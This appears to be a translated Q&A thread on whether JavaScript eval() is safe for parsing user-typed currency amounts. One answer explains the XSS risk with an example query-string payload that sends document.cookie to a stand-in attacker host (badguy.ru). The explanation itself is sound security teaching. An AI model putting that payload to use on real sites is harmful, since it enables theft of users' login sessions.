Javascript eval()是如此危险吗?

cas*_*sen 5 javascript security eval

可能重复:
JavaScript的eval()何时不是邪恶的?

我正在写一个用户必须以货币金额写的脚本,一些例子可能是(用户输入>>转换为),USD为默认货币:

50       >> 50.0 USD
50.5     >> 50.5 USD
50+1 USD >> 51.0 USD
50 GBP   >> 50.0 GBP
Run Code Online (Sandbox Code Playgroud)

我希望尽可能顺利,因此我想使用JavaScript(它是一个基于PHP/MySql + JavaScript的Web应用程序).我想使用正则表达式来过滤输入,运行它eval()并返回它.

这是一个坏主意吗?我已经阅读了一些有关eval()安全问题的主题.我只是不知道如何.用户可以轻松运行JavaScript吗?

请记住,我将在稍后阶段使用PHP验证所有输入服务器端.

jos*_*736 11

你是对的,终端用户无论如何都可以通过浏览器的开发者控制台轻松执行任意JavaScript(我一直这样做).您需要担心的是攻击者劫持您的功能,并将其eval用于自己的目的.

原因eval通常被认为是危险的,因为不受信任的代码容易潜入.考虑一个允许您通过查询字符串指定输入的页面,其中输入框预先填充查询字符串中的值.

攻击者可以传播包含窃取用户登录cookie的代码的链接:

/some/url?amount=var i=new Image();i.src='http://badguy.ru/x?' + document.cookie;
Run Code Online (Sandbox Code Playgroud)

(显然需要正确的URL编码;这只是为了说明.)

或者,也许您的PHP脚本回声在验证失败时将数据发布回您的表单.攻击者可以创建一个特制的表单,使用相同的cookie窃取代码发布到您的表单.

这些攻击中的每一种都可以通过使用httpOnlycookie(以防止被盗登录cookie)或确保数据被清理来减轻- 但重点是,这甚至都不是关于事情可能出错的详尽清单.例如,注入的脚本仍然可以在金额字段中插入1000并尝试将该金额转移到攻击者的帐户(如果这是汇款页面).

即使你使用正则表达式来清理输入也不一定能保护你:可以用括号完全编写任意的JavaScript !

所以最重要的是,如果你能完全确定输入进入你的文本字段的唯一方法是通过用户输入,那你没关系:用户没有获得任何他们无法做到的事情通过控制台.但是,如果攻击者能够以某种方式将自己的数据放入该字段,eval那么它可能会使您暴露于漏洞.

也可以看看:


pau*_*sm4 10

如果需要,请使用它.

这是一个很好的链接,它讨论了安全性......以及对"eval()"的其他常见异议:

安全性怎么样?如果你的软件正在提供eval与其论据,那么在这方面几乎没有什么可担心的.当然,评估输入框的值是不明智的,但是对自己的服务器代码生成的响应运行eval应该没有特别的风险.另外请记住,攻击者无法使用现代浏览器控制台轻松实现客户端评估.

恕我直言 ...

  • 最后一部分是重要的:"......对于客户端eval而言,攻击者无法做到这一点,而现代浏览器控制台无法轻松实现这一点." (9认同)